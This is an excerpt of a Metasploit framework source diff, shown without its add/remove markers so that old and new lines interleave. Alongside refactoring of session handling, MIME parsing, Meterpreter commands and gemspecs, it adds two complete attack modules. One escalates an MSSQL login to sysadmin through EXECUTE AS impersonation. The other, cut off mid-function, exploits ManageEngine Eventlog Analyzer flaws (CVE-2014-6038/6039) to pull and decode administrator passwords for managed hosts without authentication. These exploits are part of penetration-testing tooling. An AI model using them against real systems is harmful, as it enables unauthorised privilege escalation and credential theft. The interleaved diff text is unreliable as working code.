session = verify_session(sess_id)
|
||||
# if session is interactive, it's detachable
|
||||
if session
|
||||
print_status("Detaching session #{sess_id}")
|
||||
session.detach
|
||||
end
|
||||
end
|
||||
when 'interact'
|
||||
session = verify_session(sid)
|
||||
if session
|
||||
print_status("Starting interaction with #{session.name}...\n") unless quiet
|
||||
self.active_session = session
|
||||
session.interact(driver.input.dup, driver.output)
|
||||
self.active_session = nil
|
||||
driver.input.reset_tab_completion if driver.input.supports_readline
|
||||
end
|
||||
when 'scriptall'
|
||||
unless script
|
||||
print_error("No script specified!")
|
||||
return false
|
||||
end
|
||||
script_paths = {}
|
||||
script_paths['meterpreter'] = Msf::Sessions::Meterpreter.find_script_path(script)
|
||||
script_paths['shell'] = Msf::Sessions::CommandShell.find_script_path(script)
|
||||
|
||||
sessions = sid ? session_list : framework.sessions.keys.sort
|
||||
|
||||
sessions.each do |sess_id|
|
||||
session = verify_session(sess_id, true)
|
||||
# @TODO: Not interactive sessions can or cannot have scripts run on them?
|
||||
if session == false # specifically looking for false
|
||||
# if verify_session returned false, sess_id is valid, but not interactive
|
||||
session = framework.sessions.get(sess_id)
|
||||
end
|
||||
if session
|
||||
if script_paths[session.type]
|
||||
print_status("Session #{sess_id} (#{session.session_host}):")
|
||||
print_status("Running script #{script} on #{session.type} session" +
|
||||
" #{sess_id} (#{session.session_host})")
|
||||
begin
|
||||
session.execute_file(script_paths[session.type], extra)
|
||||
rescue ::Exception => e
|
||||
log_error("Error executing script: #{e.class} #{e}")
|
||||
end
|
||||
end
|
||||
else
|
||||
print_error("Invalid session identifier: #{sess_id}")
|
||||
end
|
||||
end
|
||||
when 'upexec'
|
||||
print_status("Executing 'post/multi/manage/shell_to_meterpreter' on " +
|
||||
"session(s): #{session_list}")
|
||||
session_list.each do |sess_id|
|
||||
session = verify_session(sess_id)
|
||||
if session
|
||||
if session.type == 'shell'
|
||||
session.init_ui(driver.input, driver.output)
|
||||
session.execute_script('post/multi/manage/shell_to_meterpreter')
|
||||
session.reset_ui
|
||||
else
|
||||
print_error("Invalid session identifier: #{sess}")
|
||||
print_error("Session #{sess_id} is not a command shell session, skipping...")
|
||||
next
|
||||
end
|
||||
|
||||
if session_list.count > 1
|
||||
print_status("Sleeping 5 seconds to allow the previous handler to finish..")
|
||||
sleep(5)
|
||||
end
|
||||
end
|
||||
|
||||
when 'reset_ring'
|
||||
sessions = sid ? [ sid ] : framework.sessions.keys
|
||||
sessions.each do |sidx|
|
||||
s = framework.sessions[sidx]
|
||||
next if not (s and s.respond_to?(:ring_seq))
|
||||
s.reset_ring_sequence
|
||||
print_status("Reset the ring buffer pointer for Session #{sidx}")
|
||||
if session_list.count > 1
|
||||
print_status("Sleeping 5 seconds to allow the previous handler to finish..")
|
||||
sleep(5)
|
||||
end
|
||||
|
||||
when 'list',nil
|
||||
print_line
|
||||
print(Serializer::ReadableText.dump_sessions(framework, :verbose => verbose))
|
||||
print_line
|
||||
end
|
||||
when 'reset_ring'
|
||||
sessions = sid ? [sid] : framework.sessions.keys
|
||||
sessions.each do |sidx|
|
||||
s = framework.sessions[sidx]
|
||||
next unless (s && s.respond_to?(:ring_seq))
|
||||
s.reset_ring_sequence
|
||||
print_status("Reset the ring buffer pointer for Session #{sidx}")
|
||||
end
|
||||
when 'list',nil
|
||||
print_line
|
||||
print(Serializer::ReadableText.dump_sessions(framework, :verbose => verbose))
|
||||
print_line
|
||||
end
|
||||
|
||||
rescue IOError, EOFError, Rex::StreamClosedError
|
||||
|
@ -1841,7 +1820,7 @@ class Core
|
|||
# Reset the active session
|
||||
self.active_session = nil
|
||||
|
||||
return true
|
||||
true
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -3001,6 +2980,33 @@ class Core
|
|||
|
||||
protected
|
||||
|
||||
#
|
||||
# verifies that a given session_id is valid and that the session is interactive.
|
||||
# The various return values allow the caller to make better decisions on what
|
||||
# action can & should be taken depending on the capabilities of the session
|
||||
# and the caller's objective while making it simple to use in the nominal case
|
||||
# where the caller needs session_id to match an interactive session
|
||||
#
|
||||
# @param session_id [String] A session id, which is an integer as a string
|
||||
# @param quiet [Boolean] True means the method will produce no error messages
|
||||
# @return [session] if the given session_id is valid and session is interactive
|
||||
# @return [false] if the given session_id is valid, but not interactive
|
||||
# @return [nil] if the given session_id is not valid at all
|
||||
def verify_session(session_id, quiet = false)
|
||||
session = framework.sessions.get(session_id)
|
||||
if session
|
||||
if session.interactive?
|
||||
session
|
||||
else
|
||||
print_error("Session #{session_id} is non-interactive.") unless quiet
|
||||
false
|
||||
end
|
||||
else
|
||||
print_error("Invalid session identifier: #{session_id}") unless quiet
|
||||
nil
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Go_pro methods -- these are used to start and connect to
|
||||
# Metasploit Community / Pro.
|
||||
|
@ -3352,30 +3358,39 @@ class Core
|
|||
start = line_num - before
|
||||
start = 0 if start < 0
|
||||
finish = line_num + after
|
||||
return all_lines.slice(start..finish)
|
||||
all_lines.slice(start..finish)
|
||||
end
|
||||
|
||||
# Generate an array of session IDs when presented with input such as '1' or '1,2,4-6,10' or '1,2,4..6,10'
|
||||
def build_sessions_array(sid_list)
|
||||
session_list = Array.new
|
||||
temp_list = sid_list.split(",")
|
||||
#
|
||||
# Generate an array of job or session IDs from a given range String.
|
||||
# Always returns an Array.
|
||||
#
|
||||
# @param id_list [String] Range or list description such as 1-5 or 1,3,5 etc
|
||||
# @return [Array<String>] Representing the range
|
||||
def build_range_array(id_list)
|
||||
item_list = []
|
||||
unless id_list.blank?
|
||||
temp_list = id_list.split(',')
|
||||
temp_list.each do |ele|
|
||||
return if ele.count('-') > 1
|
||||
return if ele.first == '-' || ele[-1] == '-'
|
||||
return if ele.first == '.' || ele[-1] == '.'
|
||||
|
||||
temp_list.each do |ele|
|
||||
if ele.include? '-'
|
||||
temp_array = (ele.split("-").inject {|s,e| s.to_i..e.to_i}).to_a
|
||||
session_list.concat(temp_array)
|
||||
elsif ele.include? '..'
|
||||
temp_array = (ele.split("..").inject {|s,e| s.to_i..e.to_i}).to_a
|
||||
session_list.concat(temp_array)
|
||||
else
|
||||
session_list.push(ele.to_i)
|
||||
if ele.include? '-'
|
||||
temp_array = (ele.split("-").inject { |s, e| s.to_i..e.to_i }).to_a
|
||||
item_list.concat(temp_array)
|
||||
elsif ele.include? '..'
|
||||
temp_array = (ele.split("..").inject { |s, e| s.to_i..e.to_i }).to_a
|
||||
item_list.concat(temp_array)
|
||||
else
|
||||
item_list.push(ele.to_i)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
return session_list.uniq.sort
|
||||
item_list.uniq.sort
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
end end end end
|
||||
|
|
|
@ -31,14 +31,14 @@ class CmdStagerTFTP < CmdStagerBase
|
|||
end
|
||||
|
||||
def setup(mod)
|
||||
tftp = Rex::Proto::TFTP::Server.new
|
||||
tftp.register_file(Rex::Text.rand_text_alphanumeric(8), exe)
|
||||
tftp.start
|
||||
mod.add_socket(tftp) # Hating myself for doing it... but it's just a first demo
|
||||
self.tftp = Rex::Proto::TFTP::Server.new
|
||||
self.tftp.register_file(Rex::Text.rand_text_alphanumeric(8), exe)
|
||||
self.tftp.start
|
||||
mod.add_socket(self.tftp) # Hating myself for doing it... but it's just a first demo
|
||||
end
|
||||
|
||||
def teardown(mod = nil)
|
||||
tftp.stop
|
||||
self.tftp.stop
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -24,11 +24,11 @@ class Message
|
|||
self.header.parse(head)
|
||||
ctype = self.header.find('Content-Type')
|
||||
|
||||
if ctype and ctype[1] and ctype[1] =~ /multipart\/mixed;\s*boundary="?([A-Za-z0-9'\(\)\+\_,\-\.\/:=\?^\s]+)"?/
|
||||
if ctype && ctype[1] && ctype[1] =~ /multipart\/mixed;\s*boundary="?([A-Za-z0-9'\(\)\+\_,\-\.\/:=\?^\s]+)"?/
|
||||
self.bound = $1
|
||||
chunks = body.to_s.split(/--#{self.bound}(--)?\r?\n/)
|
||||
self.content = chunks.shift.to_s.gsub(/\s+$/, '')
|
||||
self.content << "\r\n" if not self.content.empty?
|
||||
self.content << "\r\n" unless self.content.empty?
|
||||
|
||||
chunks.each do |chunk|
|
||||
break if chunk == "--"
|
||||
|
@ -88,15 +88,13 @@ class Message
|
|||
def add_part(data='', content_type='text/plain', transfer_encoding="8bit", content_disposition=nil)
|
||||
part = Rex::MIME::Part.new
|
||||
|
||||
if (content_disposition)
|
||||
if content_disposition
|
||||
part.header.set("Content-Disposition", content_disposition)
|
||||
end
|
||||
|
||||
if (content_type)
|
||||
part.header.set("Content-Type", content_type)
|
||||
end
|
||||
part.header.set("Content-Type", content_type) if content_type
|
||||
|
||||
if (transfer_encoding)
|
||||
if transfer_encoding
|
||||
part.header.set("Content-Transfer-Encoding", transfer_encoding)
|
||||
end
|
||||
|
||||
|
@ -125,20 +123,17 @@ class Message
|
|||
end
|
||||
|
||||
def to_s
|
||||
msg = force_crlf(self.header.to_s + "\r\n")
|
||||
header_string = self.header.to_s
|
||||
|
||||
unless self.content.blank?
|
||||
msg << force_crlf(self.content + "\r\n")
|
||||
end
|
||||
msg = header_string.empty? ? '' : force_crlf(self.header.to_s + "\r\n")
|
||||
msg << force_crlf(self.content + "\r\n") unless self.content.blank?
|
||||
|
||||
self.parts.each do |part|
|
||||
msg << force_crlf("--" + self.bound + "\r\n")
|
||||
msg << part.to_s
|
||||
end
|
||||
|
||||
if self.parts.length > 0
|
||||
msg << force_crlf("--" + self.bound + "--\r\n")
|
||||
end
|
||||
msg << force_crlf("--" + self.bound + "--\r\n") if self.parts.length > 0
|
||||
|
||||
msg
|
||||
end
|
||||
|
|
|
@ -20,6 +20,8 @@ module Sys
|
|||
###
|
||||
class Config
|
||||
|
||||
SYSTEM_SID = 'S-1-5-18'
|
||||
|
||||
def initialize(client)
|
||||
self.client = client
|
||||
end
|
||||
|
@ -33,6 +35,22 @@ class Config
|
|||
client.unicode_filter_encode( response.get_tlv_value(TLV_TYPE_USER_NAME) )
|
||||
end
|
||||
|
||||
#
|
||||
# Gets the SID of the current process/thread.
|
||||
#
|
||||
def getsid
|
||||
request = Packet.create_request('stdapi_sys_config_getsid')
|
||||
response = client.send_request(request)
|
||||
response.get_tlv_value(TLV_TYPE_SID)
|
||||
end
|
||||
|
||||
#
|
||||
# Determine if the current process/thread is running as SYSTEM
|
||||
#
|
||||
def is_system?
|
||||
getsid == SYSTEM_SID
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a hash of requested environment variables, along with their values.
|
||||
# If a requested value doesn't exist in the response, then the value wasn't found.
|
||||
|
|
|
@ -116,6 +116,7 @@ TLV_TYPE_OS_NAME = TLV_META_TYPE_STRING | 1041
|
|||
TLV_TYPE_USER_NAME = TLV_META_TYPE_STRING | 1042
|
||||
TLV_TYPE_ARCHITECTURE = TLV_META_TYPE_STRING | 1043
|
||||
TLV_TYPE_LANG_SYSTEM = TLV_META_TYPE_STRING | 1044
|
||||
TLV_TYPE_SID = TLV_META_TYPE_STRING | 1045
|
||||
|
||||
# Environment
|
||||
TLV_TYPE_ENV_VARIABLE = TLV_META_TYPE_STRING | 1100
|
||||
|
|
|
@ -221,7 +221,7 @@ class Console::CommandDispatcher::Incognito
|
|||
end
|
||||
|
||||
def system_privilege_check
|
||||
if (client.sys.config.getuid != "NT AUTHORITY\\SYSTEM")
|
||||
unless client.sys.config.is_system?
|
||||
print_line("[-] Warning: Not currently running as SYSTEM, not all tokens will be available")
|
||||
print_line(" Call rev2self if primary process token is SYSTEM")
|
||||
end
|
||||
|
|
|
@ -88,6 +88,7 @@ class Console::CommandDispatcher::Stdapi::Sys
|
|||
"getpid" => "Get the current process identifier",
|
||||
"getprivs" => "Attempt to enable all privileges available to the current process",
|
||||
"getuid" => "Get the user that the server is running as",
|
||||
"getsid" => "Get the SID of the user that the server is running as",
|
||||
"getenv" => "Get one or more environment variable values",
|
||||
"kill" => "Terminate a process",
|
||||
"ps" => "List running processes",
|
||||
|
@ -107,6 +108,7 @@ class Console::CommandDispatcher::Stdapi::Sys
|
|||
"getpid" => [ "stdapi_sys_process_getpid" ],
|
||||
"getprivs" => [ "stdapi_sys_config_getprivs" ],
|
||||
"getuid" => [ "stdapi_sys_config_getuid" ],
|
||||
"getsid" => [ "stdapi_sys_config_getsid" ],
|
||||
"getenv" => [ "stdapi_sys_config_getenv" ],
|
||||
"kill" => [ "stdapi_sys_process_kill" ],
|
||||
"ps" => [ "stdapi_sys_process_get_processes" ],
|
||||
|
@ -279,6 +281,13 @@ class Console::CommandDispatcher::Stdapi::Sys
|
|||
print_line("Server username: #{client.sys.config.getuid}")
|
||||
end
|
||||
|
||||
#
|
||||
# Display the SID of the user that the server is running as.
|
||||
#
|
||||
def cmd_getsid(*args)
|
||||
print_line("Server SID: #{client.sys.config.getsid}")
|
||||
end
|
||||
|
||||
#
|
||||
# Get the value of one or more environment variables from the target.
|
||||
#
|
||||
|
|
|
@ -66,6 +66,10 @@ attr_accessor :socket, :client, :direct, :shares, :last_share
|
|||
|
||||
self.client.spnopt = spnopt
|
||||
|
||||
# In case the user unsets the password option, we make sure this is
|
||||
# always a string
|
||||
pass ||= ''
|
||||
|
||||
ok = self.client.session_setup(user, pass, domain)
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
|
|
|
@ -0,0 +1,41 @@
|
|||
# coding: utf-8
|
||||
|
||||
# During build, the Gemfile is temporarily moved and
|
||||
# we must manually define the project root
|
||||
if ENV['MSF_ROOT']
|
||||
lib = File.realpath(File.expand_path('lib', ENV['MSF_ROOT']))
|
||||
else
|
||||
# have to use realpath as metasploit-framework is often loaded through a symlink and tools like Coverage and debuggers
|
||||
# require realpaths.
|
||||
lib = File.realpath(File.expand_path('../lib', __FILE__))
|
||||
end
|
||||
|
||||
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
|
||||
require 'metasploit/framework/version'
|
||||
|
||||
Gem::Specification.new do |spec|
|
||||
spec.name = 'metasploit-framework-db'
|
||||
spec.version = Metasploit::Framework::GEM_VERSION
|
||||
spec.authors = ['Metasploit Hackers']
|
||||
spec.email = ['metasploit-hackers@lists.sourceforge.net']
|
||||
spec.summary = 'metasploit-framework Database dependencies'
|
||||
spec.description = 'Gems needed to access the PostgreSQL database in metasploit-framework'
|
||||
spec.homepage = 'https://www.metasploit.com'
|
||||
spec.license = 'BSD-3-clause'
|
||||
|
||||
# no files, just dependencies
|
||||
spec.files = []
|
||||
|
||||
# The Metasploit ecosystem is not ready for Rails 4 as it uses features of Rails 3.X that are removed in Rails 4.
|
||||
rails_version_constraint = '< 4.0.0'
|
||||
|
||||
spec.add_runtime_dependency 'activerecord', rails_version_constraint
|
||||
# Metasploit::Credential database models
|
||||
spec.add_runtime_dependency 'metasploit-credential', :github => 'rapid7/metasploit-credential', :branch => 'staging/rails-4.0'
|
||||
# Database models shared between framework and Pro.
|
||||
spec.add_runtime_dependency 'metasploit_data_models', :github => 'rapid7/metasploit-credential', :branch => 'staging/rails-4.0'
|
||||
# depend on metasploit-framewrok as the optional gems are useless with the actual code
|
||||
spec.add_runtime_dependency 'metasploit-framework', "= #{spec.version}"
|
||||
# Needed for module caching in Mdm::ModuleDetails
|
||||
spec.add_runtime_dependency 'pg', '>= 0.11'
|
||||
end
|
|
@ -0,0 +1,34 @@
|
|||
# coding: utf-8
|
||||
|
||||
# During build, the Gemfile is temporarily moved and
|
||||
# we must manually define the project root
|
||||
if ENV['MSF_ROOT']
|
||||
lib = File.realpath(File.expand_path('lib', ENV['MSF_ROOT']))
|
||||
else
|
||||
# have to use realpath as metasploit-framework is often loaded through a symlink and tools like Coverage and debuggers
|
||||
# require realpaths.
|
||||
lib = File.realpath(File.expand_path('../lib', __FILE__))
|
||||
end
|
||||
|
||||
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
|
||||
require 'metasploit/framework/version'
|
||||
|
||||
Gem::Specification.new do |spec|
|
||||
spec.name = 'metasploit-framework-full'
|
||||
spec.version = Metasploit::Framework::GEM_VERSION
|
||||
spec.authors = ['Metasploit Hackers']
|
||||
spec.email = ['metasploit-hackers@lists.sourceforge.net']
|
||||
spec.summary = 'metasploit-framework with all optional dependencies'
|
||||
spec.description = 'Gems needed to access the PostgreSQL database in metasploit-framework'
|
||||
spec.homepage = 'https://www.metasploit.com'
|
||||
spec.license = 'BSD-3-clause'
|
||||
|
||||
# no files, just dependencies
|
||||
spec.files = []
|
||||
|
||||
metasploit_framework_version_constraint = "= #{spec.version}"
|
||||
|
||||
spec.add_runtime_dependency 'metasploit-framework', metasploit_framework_version_constraint
|
||||
spec.add_runtime_dependency 'metasploit-framework-db', metasploit_framework_version_constraint
|
||||
spec.add_runtime_dependency 'metasploit-framework-pcap', metasploit_framework_version_constraint
|
||||
end
|
|
@ -0,0 +1,35 @@
|
|||
# coding: utf-8
|
||||
|
||||
# During build, the Gemfile is temporarily moved and
|
||||
# we must manually define the project root
|
||||
if ENV['MSF_ROOT']
|
||||
lib = File.realpath(File.expand_path('lib', ENV['MSF_ROOT']))
|
||||
else
|
||||
# have to use realpath as metasploit-framework is often loaded through a symlink and tools like Coverage and debuggers
|
||||
# require realpaths.
|
||||
lib = File.realpath(File.expand_path('../lib', __FILE__))
|
||||
end
|
||||
|
||||
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
|
||||
require 'metasploit/framework/version'
|
||||
|
||||
Gem::Specification.new do |spec|
|
||||
spec.name = 'metasploit-framework-pcap'
|
||||
spec.version = Metasploit::Framework::GEM_VERSION
|
||||
spec.authors = ['Metasploit Hackers']
|
||||
spec.email = ['metasploit-hackers@lists.sourceforge.net']
|
||||
spec.summary = 'metasploit-framework packet capture dependencies'
|
||||
spec.description = 'Gems needed to capture packets in metasploit-framework'
|
||||
spec.homepage = 'https://www.metasploit.com'
|
||||
spec.license = 'BSD-3-clause'
|
||||
|
||||
# no files, just dependencies
|
||||
spec.files = []
|
||||
|
||||
# depend on metasploit-framewrok as the optional gems are useless with the actual code
|
||||
spec.add_runtime_dependency 'metasploit-framework', "= #{spec.version}"
|
||||
# get list of network interfaces, like eth* from OS.
|
||||
spec.add_runtime_dependency 'network_interface', '~> 0.0.1'
|
||||
# For sniffer and raw socket modules
|
||||
spec.add_runtime_dependency 'pcaprub'
|
||||
end
|
|
@ -59,10 +59,10 @@ Gem::Specification.new do |spec|
|
|||
# Needed for some admin modules (scrutinizer_add_user.rb)
|
||||
spec.add_runtime_dependency 'json'
|
||||
# Metasploit::Concern hooks
|
||||
spec.add_runtime_dependency 'metasploit-concern'
|
||||
spec.add_runtime_dependency 'metasploit-concern', :github => 'rapid7/metasploit-credential', :branch => 'staging/rails-4.0'
|
||||
# Things that would normally be part of the database model, but which
|
||||
# are needed when there's no database
|
||||
spec.add_runtime_dependency 'metasploit-model'
|
||||
spec.add_runtime_dependency 'metasploit-model', :github => 'rapid7/metasploit-credential', :branch => 'staging/rails-4.0'
|
||||
# Needed for Meterpreter on Windows, soon others.
|
||||
spec.add_runtime_dependency 'meterpreter_bins', '0.0.10'
|
||||
# Needed by msfgui and other rpc components
|
||||
|
@ -75,8 +75,14 @@ Gem::Specification.new do |spec|
|
|||
spec.add_runtime_dependency 'railties'
|
||||
# required for OS fingerprinting
|
||||
spec.add_runtime_dependency 'recog', '~> 1.0'
|
||||
# read... lines...
|
||||
spec.add_runtime_dependency 'rb-readline'
|
||||
|
||||
# rb-readline doesn't work with Ruby Installer due to error with Fiddle:
|
||||
# NoMethodError undefined method `dlopen' for Fiddle:Module
|
||||
unless Gem.win_platform?
|
||||
# Command line editing, history, and tab completion in msfconsole
|
||||
spec.add_runtime_dependency 'rb-readline'
|
||||
end
|
||||
|
||||
# Needed by anemone crawler
|
||||
spec.add_runtime_dependency 'robots'
|
||||
# Needed by some modules
|
||||
|
|
|
@ -0,0 +1,157 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/mssql_commands'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::MSSQL
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Microsoft SQL Server - Escalate EXECUTE AS',
|
||||
'Description' => %q{
|
||||
This module can be used escalate privileges if the IMPERSONATION privilege has been
|
||||
assigned to the user. In most cases this results in additional data access, but in
|
||||
some cases it can be used to gain sysadmin privileges.
|
||||
},
|
||||
'Author' => ['nullbind <scott.sutherland[at]netspi.com>'],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [['URL','http://msdn.microsoft.com/en-us/library/ms178640.aspx']]
|
||||
))
|
||||
end
|
||||
|
||||
def run
|
||||
# Check connection and issue initial query
|
||||
print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...")
|
||||
if mssql_login_datastore
|
||||
print_good('Connected.')
|
||||
else
|
||||
print_error('Login was unsuccessful. Check your credentials.')
|
||||
disconnect
|
||||
return
|
||||
end
|
||||
|
||||
# Query for sysadmin status
|
||||
print_status("Checking if #{datastore['USERNAME']} has the sysadmin role...")
|
||||
user_status = check_sysadmin
|
||||
|
||||
# Check if user has sysadmin role
|
||||
if user_status == 1
|
||||
print_good("#{datastore['USERNAME']} has the sysadmin role, no escalation required.")
|
||||
disconnect
|
||||
return
|
||||
else
|
||||
print_status("You're NOT a sysadmin, let's try to change that.")
|
||||
end
|
||||
|
||||
# Get a list of the users that can be impersonated
|
||||
print_status("Enumerating a list of users that can be impersonated...")
|
||||
imp_user_list = check_imp_users
|
||||
if imp_user_list.nil? || imp_user_list.length == 0
|
||||
print_error('Sorry, the current user doesn\'t have permissions to impersonate anyone.')
|
||||
disconnect
|
||||
return
|
||||
else
|
||||
# Display list of users that can be impersonated
|
||||
print_good("#{imp_user_list.length} users can be impersonated:")
|
||||
imp_user_list.each do |db|
|
||||
print_status(" - #{db[0]}")
|
||||
end
|
||||
end
|
||||
|
||||
# Check if any of the users that can be impersonated are sysadmins
|
||||
print_status('Checking if any of them are sysadmins...')
|
||||
imp_user_sysadmin = check_imp_sysadmin(imp_user_list)
|
||||
if imp_user_sysadmin.nil?
|
||||
print_error('Sorry, none of the users that can be impersonated are sysadmins.')
|
||||
disconnect
|
||||
return
|
||||
end
|
||||
|
||||
# Attempt to escalate to sysadmin
|
||||
print_status("Attempting to impersonate #{imp_user_sysadmin[0]}...")
|
||||
escalate_status = escalate_privs(imp_user_sysadmin[0])
|
||||
if escalate_status
|
||||
# Check if escalation was successful
|
||||
user_status = check_sysadmin
|
||||
if user_status == 1
|
||||
print_good("Congrats, #{datastore['USERNAME']} is now a sysadmin!.")
|
||||
else
|
||||
print_error('Fail buckets, something went wrong.')
|
||||
end
|
||||
else
|
||||
print_error('Error while trying to escalate privileges.')
|
||||
end
|
||||
|
||||
disconnect
|
||||
return
|
||||
end
|
||||
|
||||
# Checks if user is a sysadmin
|
||||
def check_sysadmin
|
||||
# Setup query to check for sysadmin
|
||||
sql = "select is_srvrolemember('sysadmin') as IsSysAdmin"
|
||||
|
||||
# Run query
|
||||
result = mssql_query(sql)
|
||||
|
||||
# Parse query results
|
||||
parse_results = result[:rows]
|
||||
status = parse_results[0][0]
|
||||
|
||||
# Return status
|
||||
return status
|
||||
end
|
||||
|
||||
# Gets trusted databases owned by sysadmins
|
||||
def check_imp_users
|
||||
# Setup query
|
||||
sql = "SELECT DISTINCT b.name
|
||||
FROM sys.server_permissions a
|
||||
INNER JOIN sys.server_principals b
|
||||
ON a.grantor_principal_id = b.principal_id
|
||||
WHERE a.permission_name = 'IMPERSONATE'"
|
||||
|
||||
result = mssql_query(sql)
|
||||
|
||||
# Return on success
|
||||
return result[:rows]
|
||||
end
|
||||
|
||||
# Checks if user has the db_owner role
|
||||
def check_imp_sysadmin(trust_db_list)
|
||||
# Check if the user has the db_owner role is any databases
|
||||
trust_db_list.each do |imp_user|
|
||||
# Setup query
|
||||
sql = "select IS_SRVROLEMEMBER('sysadmin','#{imp_user[0]}') as status"
|
||||
|
||||
# Run query
|
||||
result = mssql_query(sql)
|
||||
|
||||
# Parse query results
|
||||
parse_results = result[:rows]
|
||||
status = parse_results[0][0]
|
||||
if status == 1
|
||||
print_good(" - #{imp_user[0]} is a sysadmin!")
|
||||
return imp_user
|
||||
else
|
||||
print_status(" - #{imp_user[0]} is NOT sysadmin!")
|
||||
end
|
||||
end
|
||||
nil
|
||||
end
|
||||
|
||||
def escalate_privs(imp_user_sysadmin)
|
||||
# Impersonate the first sysadmin user on the list
|
||||
evil_sql_create = "EXECUTE AS Login = '#{imp_user_sysadmin}';
|
||||
EXEC sp_addsrvrolemember '#{datastore['USERNAME']}','sysadmin';"
|
||||
|
||||
mssql_query(evil_sql_create)
|
||||
|
||||
true
|
||||
end
|
||||
end
|
|
@ -0,0 +1,222 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rexml/document'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'ManageEngine Eventlog Analyzer Managed Hosts Administrator Credential Disclosure',
|
||||
'Description' => %q{
|
||||
ManageEngine Eventlog Analyzer from v7 to v9.9 b9002 has two security vulnerabilities that
|
||||
allow an unauthenticated user to obtain the superuser password of any managed Windows and
|
||||
AS/400 hosts. This module abuses both vulnerabilities to collect all the available
|
||||
usernames and passwords. First the agentHandler servlet is abused to get the hostid and
|
||||
slid of each device (CVE-2014-6038); then these numeric id's are used to extract usernames
|
||||
and passwords by abusing the hostdetails servlet (CVE-2014-6039). Note that on version 7
|
||||
the TARGETURI has to be prepended with /event.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2014-6038' ],
|
||||
[ 'CVE', '2014-6039' ],
|
||||
[ 'OSVDB', '114342' ],
|
||||
[ 'OSVDB', '114344' ],
|
||||
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_eventlog_info_disc.txt' ],
|
||||
[ 'URL', 'http://seclists.org/fulldisclosure/2014/Nov/12' ]
|
||||
],
|
||||
'DisclosureDate' => 'Nov 5 2014'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8400),
|
||||
OptString.new('TARGETURI', [ true, 'Eventlog Analyzer application URI (should be /event for version 7)', '/']),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
def decode_password(encoded_password)
|
||||
password_xor = Rex::Text.decode_base64(encoded_password)
|
||||
password = ''
|
||||
password_xor.bytes.each do |byte|
|
||||
password << (byte ^ 0x30)
|
||||
end
|
||||
return password
|
||||
end
|
||||
|
||||
|
||||
def run
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'agentHandler'),
|
||||
'method' =>'GET',
|
||||
'vars_get' => {
|
||||
'mode' => 'getTableData',
|
||||
'table' => 'HostDetails'
|
||||
}
|
||||
})
|
||||
|
||||
unless res && res.code == 200
|
||||
fail_with(Failure::NotFound, "#{peer} - Failed to reach agentHandler servlet")
|
||||
return
|
||||
end
|
||||
|
||||
# When passwords have digits the XML parsing will fail.
|
||||
# Replace with an empty password attribute so that we know the device has a password
|
||||
# and therefore we want to add it to our host list.
|
||||
xml = res.body.to_s.gsub(/&#[0-9]*;/,Rex::Text.rand_text_alpha(6))
|
||||
begin
|
||||
doc = REXML::Document.new(xml)
|
||||
rescue
|
||||
fail_with(Failure::Unknown, "#{peer} - Error parsing the XML, dumping output #{xml}")
|
||||
end
|
||||
|
||||
slid_host_ary = []
|
||||
doc.elements.each('Details/HostDetails') do |ele|
|
||||
if ele.attributes['password']
|
||||
# If an element doesn't have a password, then we don't care about it.
|
||||
# Otherwise store the slid and host_id to use later.
|
||||
slid_host_ary << [ele.attributes['slid'], ele.attributes['host_id']]
|
||||
end
|
||||
end
|
||||
|
||||
cred_table = Rex::Ui::Text::Table.new(
|
||||
'Header' => 'ManageEngine EventLog Analyzer Managed Devices Credentials',
|
||||
'Indent' => 1,
|
||||
'Columns' =>
|
||||
[
|
||||
'Host',
|
||||
'Type',
|
||||
'SubType',
|
||||
'Domain',
|
||||
'Username',
|
||||
'Password',
|
||||
]
|
||||
)
|
||||
|
||||
slid_host_ary.each do |host|
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'hostdetails'),
|
||||
'method' =>'GET',
|
||||
'vars_get' => {
|
||||
'slid' => host[0],
|
||||
'hostid' => host[1]
|
||||
}
|
||||
})
|
||||
|
||||
unless res && res.code == 200
|
||||
fail_with(Failure::NotFound, "#{peer} - Failed to reach hostdetails servlet")
|
||||
end
|
||||
|
||||
begin
|
||||
doc = REXML::Document.new(res.body)
|
||||
rescue
|
||||
fail_with(Failure::Unknown, "#{peer} - Error parsing the XML, dumping output #{res.body.to_s}")
|
||||
end
|
||||
|
||||
doc.elements.each('Details/Hosts') do |ele|
|
||||
# Add an empty string if a variable doesn't exist, we have to check it
|
||||
# somewhere and it's easier to do it here.
|
||||
host_ipaddress = ele.attributes['host_ipaddress'] || ''
|
||||
|
||||
